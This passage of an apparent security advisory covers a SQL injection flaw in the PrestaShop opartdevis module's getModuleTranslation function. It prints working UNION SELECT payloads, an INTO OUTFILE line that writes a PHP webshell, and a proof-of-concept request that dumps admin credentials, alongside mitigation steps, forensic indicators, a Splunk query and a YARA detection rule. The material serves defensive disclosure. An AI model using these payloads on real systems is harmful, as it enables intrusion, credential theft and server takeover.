2. Potential Attack Vectors & Exploitation Methods

Exploitation Mechanism

The vulnerability stems from improper input validation in the getModuleTranslation function, which dynamically constructs SQL queries without parameterized statements or proper escaping. An attacker can inject malicious SQL payloads via:

• HTTP GET/POST parameters (e.g., module, lang, or custom parameters).
• Manipulated AJAX requests (common in PrestaShop modules).

Step-by-Step Exploitation

1. Reconnaissance:

   • Identify vulnerable PrestaShop instances using opartdevis (e.g., via HTTP headers, /modules/opartdevis/ path).
   • Enumerate database structure (e.g., table prefixes, column names).

2. Payload Delivery:

   • Craft a malicious request to getModuleTranslation with a SQLi payload:

     GET /module/opartdevis/getModuleTranslation?module=opartdevis&lang=en&custom_param=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,version(),database(),user(),14,15-- - HTTP/1.1
     

   • Alternatively, exploit via POST data in module-specific forms.

3. Database Interaction:

   • Data Exfiltration: Extract sensitive data (e.g., ps_customer, ps_order, ps_employee tables).
   • Arbitrary Code Execution (ACE):
     • Write a PHP webshell via INTO OUTFILE (if MySQL has file write permissions):

       UNION SELECT 1,2,3,4,'<?php system($_GET["cmd"]); ?>',6,7,8,9,10 INTO OUTFILE '/var/www/html/shell.php'-- -
       

     • Execute system commands via the webshell.

4. Post-Exploitation:

   • Privilege Escalation: Modify admin credentials (ps_employee table).
   • Financial Fraud: Alter order records, payment details, or customer data.
   • Persistence: Install backdoors (e.g., malicious modules, cron jobs).

Exploitation Requirements

• No Authentication: Attacker only needs network access to the PrestaShop frontend.
• Database Access: MySQL/MariaDB with sufficient privileges (common in shared hosting).
• File Write Permissions: Required for ACE (if secure_file_priv is not restricted).

4. Recommended Mitigation Strategies

Immediate Actions

1. Patch Management:

   • Upgrade to the latest opartdevis version (if available) or apply vendor-supplied patches.
   • Temporary Workaround: Disable the module if patching is not feasible.

2. Input Validation & Sanitization:

   • Parameterized Queries: Replace dynamic SQL with prepared statements.
   • Whitelisting: Restrict getModuleTranslation inputs to known-safe values.
   • WAF Rules: Deploy ModSecurity rules to block SQLi patterns (e.g., OWASP CRS).

3. Database Hardening:

   • Least Privilege: Restrict MySQL user permissions (avoid FILE privilege).
   • Secure File Privileges: Set secure_file_priv to a restricted directory.
   • Logging: Enable MySQL query logging for forensic analysis.

4. Network-Level Protections:

   • IP Whitelisting: Restrict access to admin/module endpoints.
   • Rate Limiting: Throttle requests to vulnerable endpoints.

Long-Term Remediation

• Code Audit: Review all module functions for similar vulnerabilities (e.g., eval(), dynamic SQL).
• Dependency Management: Monitor for updates via PrestaShop’s security advisories.
• Incident Response Plan: Prepare for potential breaches (e.g., database backups, forensic readiness).

6. Technical Details for Security Professionals

Root Cause Analysis

The vulnerability arises from unsanitized input in getModuleTranslation, which constructs SQL queries dynamically:

// Vulnerable code snippet (simplified)
function getModuleTranslation($module, $string, $source, $lang) {
    $sql = "SELECT translation FROM "._DB_PREFIX_."module_translation
            WHERE module = '$module' AND string = '$string'
            AND source = '$source' AND lang = '$lang'";
    return Db::getInstance()->getValue($sql);
}

• Issue: $module, $string, $source, and $lang are directly interpolated into the query.
• Exploit: Injecting ' OR 1=1-- - bypasses authentication or extracts data.

Exploitation Proof of Concept (PoC)

GET /module/opartdevis/getModuleTranslation?module=opartdevis' UNION SELECT 1,2,3,4,5,6,7,8,9,10,CONCAT(user,':',password),12,13,14,15 FROM ps_employee-- - HTTP/1.1
Host: vulnerable-prestashop.com

• Result: Returns admin credentials (hashed passwords) from ps_employee.

Forensic Indicators

• Logs:
  • MySQL general query log: Unusual UNION SELECT or INTO OUTFILE queries.
  • Web server logs: Suspicious GET/POST requests to /module/opartdevis/.
• Filesystem:
  • Unexpected PHP files in /modules/opartdevis/ or web root.
  • Modified .htaccess or index.php (backdoor indicators).

Advanced Mitigation Techniques

• Runtime Application Self-Protection (RASP):
  • Deploy tools like OpenRASP to block SQLi at runtime.
• Database Firewall:
  • Use MySQL Enterprise Firewall or GreenSQL to filter malicious queries.
• Containerization:
  • Isolate PrestaShop in a Docker container with read-only filesystems.

Detection & Hunting Queries

• SIEM Rules (Splunk/ELK):

  index=web_logs uri_path="/module/opartdevis/getModuleTranslation" AND (query CONTAINS "UNION" OR query CONTAINS "SELECT")
  

• YARA Rule:

  rule PrestaShop_opartdevis_SQLi {
      strings:
          $sqli = /(UNION\s+SELECT|INTO\s+OUTFILE|--\s|#)/ nocase
      condition:
          $sqli and filesize < 10KB
  }
